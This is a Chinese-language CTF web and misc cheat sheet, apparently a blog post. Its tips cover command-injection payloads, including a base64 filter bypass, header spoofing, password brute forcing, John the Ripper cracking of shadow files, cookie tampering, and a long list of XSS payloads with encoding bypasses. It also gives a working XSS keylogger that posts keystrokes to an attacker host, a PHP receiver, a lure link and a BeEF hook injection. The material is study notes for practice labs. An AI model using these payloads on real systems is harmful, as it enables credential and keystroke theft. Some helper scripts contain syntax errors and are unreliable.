CTF Web和Misc关键点

1.使用 base64 编码命令绕过关键字过滤

进入网址,给出后台php源码,发现是个代码审计的题:
在这里插入图片描述
通过参数拼接命令,发现存在任意命令执行漏洞:
在这里插入图片描述
进一步查看本路径下的文件:
在这里插入图片描述
后台但是过滤了flag关键字,无法直接读取,那么就需要想办法绕过关键字过滤。
使用 bash64 编码命令(cat ./flag.php)进行绕过,最终PayLoad:

?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`

发送请求后查看源码
在这里插入图片描述

2.X-Forwarded-For

在这里插入图片描述
关键字:本地。
可以使用firefor插件modify headers修改X-Forwarded-For为127.0.0.1。就可以突破这个限制,得到flag。
或者直接截包,增加:
X-Forwarded-For:127.0.0.1

3.暴力破解,注意提示

在这里插入图片描述
得到数字0,11,23,45,88,可以看出是数字的升序,来,组合爆破搞起来。
在这里插入图片描述
用户名用字典,这里注意密码,选Numbers
在这里插入图片描述
然后,这里编码,选hash

在这里插入图片描述
MD5
在这里插入图片描述
OK,开始爆破
在这里插入图片描述
爆破成功,root/ac627ab1ccbdb62ec96e702f07f6425b
在这里插入图片描述
使用root密码ac627ab1ccbdb62ec96e702f07f6425b登录获得key
在这里插入图片描述

4.命令执行

知识点:

Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2

Command 1 || Command 2
先执行Command 1,执行成功不执行Command 2,Command 1执行不成功,执行Command 2
Command 1 | Command 2
先执行Command 1,不管是否成功,都会执行Command 2

在这里插入图片描述

案例:
http://xx.xx.xx.xx/?ip=127.0.0.1%0Als -al
http://xx.xx.xx.xx/?ip=127.0.0.1%0Acat%20flag/flag.php
注意:
%0A是换行
%20是空格

在这里插入图片描述
在这里插入图片描述

5.查看文件hash值

certutil -hashfile aaaaaaa.txt MD5

在这里插入图片描述

6.python 逆序图片脚本

f=open("output.png","wb")
f.write(open("flag.png","rb").read()[::-1])
f.close()

7.十进制转换ASCII码

srt=""
with open("ascii.txt","r") as f
	for i in f.readlines():
		str == chr(int(i))
print(str)

8.john破解shadow

在这里插入图片描述

1).使用默认密码本破解

john test.txt

查看密码
john -show test.txt
在这里插入图片描述
2).使用自己密码本破解

john -wordlist=password.lst shadow

9.svn泄露

路径:
.svn/entries
在这里插入图片描述

在这里插入图片描述

10.dirsearch使用

py dirsearch.py -u 网址 -e 语言(一般用*)

在这里插入图片描述

11.pkav爆破

在这里插入图片描述
发现验证码是变化的,需要使用pkav
在这里插入图片描述
查看页面源码,发现有下载字典的提示
在这里插入图片描述

使用此字典用pkav爆破
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

12.越权

在这里插入图片描述
一看这个题给了两个用户,怀疑是越权访问漏洞
尝试test用户登录爆破,随便试了下123456,进去了。。
注意,一开始登录是不带cookie信息的

退出重新登录,截取包有了cookie,记得点击记住登录状态
在这里插入图片描述
在这里插入图片描述
删除phpseionid,修改用户名为sxy,角色为admin

在这里插入图片描述
进入管理员页面
在这里插入图片描述

13.XSS

XSS检测

1)常见测试脚本具体如下:

1. <>""xss  可先使用符号进行测试,查看哪些符号被过滤了
2. <script>alert(1)</script>    
3.<<script>>alert(1)<</script>>
4.<img src=x onerror=alert(1)> #此语句表示如果图爿访问不到,就会alert弹框
5.><a hRef=javascript:alert(1)>点击触发</a>
6.<iframe src=javascript:alert(1)>
7."><script>alert(1)</script>
8." οnclick="alert(1) #<a href=" onclick=alert('xss')>type</a>
9." onclick=alert(1)//
10.";alert(1);//
11.%0a alert(1);//     %0a表示换行符,使用情况如下,注入点被注释了
<script>
     // var a = "admin
 alert(1);//";
</script>
12." οnclick="alert(1)" type="text   强制修改type类型	
13.confirm("确认")
14.prompt("提示")
15.空格/回车/Tab
16.绕过括号
 1)·反引号` alert`1`
 <script>
 		eval("alert `1`");
 </script>
 2"οnmοuseοver="javascript:window.onerror=alert;throw 1

2)编码绕过

各种无法绕过时,尝试用编码(大写无法绕过)
1.script标签之间,输出在eval()内部
进行unicode编码,\uH 十六进制 \xH 普通十六进制
在这里插入图片描述
alert() unicode转码:

\u0061\u006c\u0065\u0072\u0074\u0028\u0029

2.标签属性值HTML编码
&#0D(十进制) &#x0H(十六进制)
在这里插入图片描述
格式:&#(ASCII10进制编码);
格式: &#x(ASCII16进制编码);

alert()HTML十进制转码:  &#97&#108&#101&#114&#116&#40&#41   或者 &#97;&#108;&#101;&#114;&#116;&#40;&#41;
alert()HTML十六进制转码:&#x61&#x6c&#x65&#x72&#x74&#x28&#x29 或者  &#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;
javasc&#x72ipt:alert(1) #此处将r替换为ASCII题中alert()HTML十进制和十六进制混合转码

3.在html伪协议中使用url编码
在这里插入图片描述

(1)URL编码:%28%31%29
%号的URL编码:25%
<号的URL编码:3c%
>好的URL编码:3e%
对<>进行URL编码

输入框中:
%3cscript%3ealert(1)%3c/script%3e
BP中:%253cscript%253ealert(1)%253c%252fscript%253e

XSS利用

1.盗取cookie
在这里插入图片描述
document.body.innierHTML可以实现对页面的篡改

一般黑客盗取用户cookie时,不会直接将利用cookie的语句发给用户,而是让用户去访问一台肉机的地址,通过肉机返回含有盗取cookie信息的js代码。黑客通过监听肉机的端口,获得用户相关cookie。
在这里插入图片描述
2.XSS键盘记录器
(1)keylogger.js
远程js脚本文件,用于点击后访问此文件
keylogger.js//存储在肉机上(或者攻击者机器上)
keylogger.js代码如下:

document.onkeypress = function(evt) {
        evt = evt || window.event
        key = String.fromCharCode(evt.charCode)
        if(key) {
                var http = new XMLHttpRequest();
                var param = encodeURI(key)
                http.open("POST","http://192.168.67.128/keylogger.php",true);
                http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                http.send("key="+param);
        }
}

(2)keylogger.php
用于接收键盘记录后的网站

<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>

(3)keylog.txt
真正用于保存键盘记录的文件,创建一个keylog.txt的空文件

为避免被引起用户怀疑,可将跳转命令置于html文件中。
前提:用户已经登录网站,获得其cookie信息
#伪造诱人连接{如:限时抢购门票、手机等},转到存在xss漏洞的页面【主要危害为登录页面】,窃取用户登录账号密码

<a href="http://192.168.67.129/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.67.128/keylogger.js'></script>">phone</a>
前一个地址是服务器地址,后一个地址是肉机地址

BEEF

在这里插入图片描述
登陆后台管理,管理已被控制的肉机
账号密码:beef

在这里插入图片描述
在dvwa中输入

<script src="http://192.168.67.128:3000/hook.js"></script>

在这里插入图片描述
在hook后台里中发现
在这里插入图片描述

案例

案例一:
Xss 十关答案
在这里插入图片描述
案例二:
在这里插入图片描述
尝试各种插入,发现<>””均被过滤
在这里插入图片描述
BP截取包,发现photo处也可以插入xss
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

14.jd-gui

可以使用jd-gui进行jar包小程序的反编译:
在这里插入图片描述
直接搜索flag
在这里插入图片描述

15.利用python进行进制转换

关于Python中几个进制转换的函数使用方法,做一个简单的使用方法的介绍,我们常用的进制转换函数常用的就是int()(其他进制转换到十进制)、bin()(十进制转换到二进制)、oct()(十进制转换到八进制)、hex()(十进制转换到十六进制)。

bin
bin()函数,是将十进制的数字转换成二进制的数字。其中bin()函数中传入的是十进制的数字,数据类型为数字类型。

v = 18
num = bin(v)
print(num)

'''
'0b10010'
'''

oct
oct()函数,是将十进制的数字转换成八进制的数字。其中oct()函数中传入的是十进制的数字,数据类型为数字类型。

v = 30
num = oct(v)
print(num)


'''
'0o36'
'''

int
int()函数,是将其他进制的数字转换成十进制的数字。其中int()函数中转入的第一个参数是需要转换的其他进制的字符串形式的数字,第二个参数是第一参数的进制数,也就是说第一个参数传的是多少进制的数字第二个参数就传个多少,数据类型为数字类型。

# 2 ---> 10v = '0b1111011'
num = int(v, 2)
print(num)

'''
123
'''

# 8 ---> 10
v = '011'
num = int(v, 8)
print(num)

'''
9
'''

# 16 ---> 10
v = '0x12'
num = int(v, 16)
print(num)

'''
18
'''

hex
hex()函数就是将十进制的数字转换成十六进制的数字。其中hex()中需要传入的是十进制的数字,数据类型为数字类型。

v = 87
num = hex(v)
print(num)

'''
'0x57'
'''

除了int()函数以外,其他的几个函数(bin()、oct()、hex())只需要传入一个数据,并且其数据类型都为数字类型。int()函数需要传入两个数据,并且第一个数据的数据类型都为字符串类型,第二个参数为第一个数据对应的进制数。

案例一:
在这里插入图片描述
上脚本

str = "c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2"
flag = ""
for i in range(0,len(str),2):
	s = "0x"+str[i]+str[i+1]
	flag += chr(int(s,16)-128)
print flag

在这里插入图片描述

转16进制转为10进制后大于127,ASCII码的范围在(-128~127),所以要减,或者模128
案例二:
在这里插入图片描述
打开后发现一堆黑白图片打开文件出现多个黑白,让人联想到二进制,白色图片代表0,黑色图片代表1。

在这里插入图片描述
01100110前八位二进制换算后为 f 证明思路正确。

01100110011011000110000101100111011110110100011001110101010011100101111101100111011010010100011001111101

二进制转字符串得到 flag
转换代码

str = "01100110011011000110000101100111011110110100011001110101010011100101111101100111011010010100011001111101"
flag = ""
for i in range(0,len(str),8):
	s = str[i:i+8]
	flag += chr(int(s,2))
print flag

在这里插入图片描述
案例三:
十六进制转义字符是由反斜杠’‘和字母x(或X)及随后的1~2个十六进制数字构成的字符序列。
例如,’\x30’、‘\x41’、‘\X61’分别表示字符’0’、‘A’和’a’。因为字符’0’、'A’和’a’的ASCII码的十六进制值分别为0x30、0x41和0x61。
print '0x61’可以直接打印出对应的ASCII字符。
在这里插入图片描述
在这里插入图片描述

1.打开页面,查看源代码,可以发现js代码,如图所示。
在这里插入图片描述
2.进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 fromCharCode 。
3.先将字符串用python处理一下,得到数组[55,56,54,79,115,69,114,116,107,49,50],exp如下。

string="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print string

4.将得到的数字分别进行ascii处理,可得到字符串786OsErtk12,exp如下。

s = string.split(",")
c = ""
for i in s:
    i = chr(int(i))
    c = c+i
print(c)

在这里插入图片描述
注意:这里由于给定的字符串是\x形式的,需要进行两次ASCII码转换。第一次转换将\x形式的字符串转为为对应的ASCII码值(\x35对应ASCII值5),依次得到一组数组。第二次再将数组对应的十进制值转为ASCII码值。得到最终flag。

16.pdf文件处理方式

1)转换为word看是否存在线索。
2)将文件内容复制在txt文本文档中,看是否存在线索。

17.双图层 gif可使用Gifsplitter

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值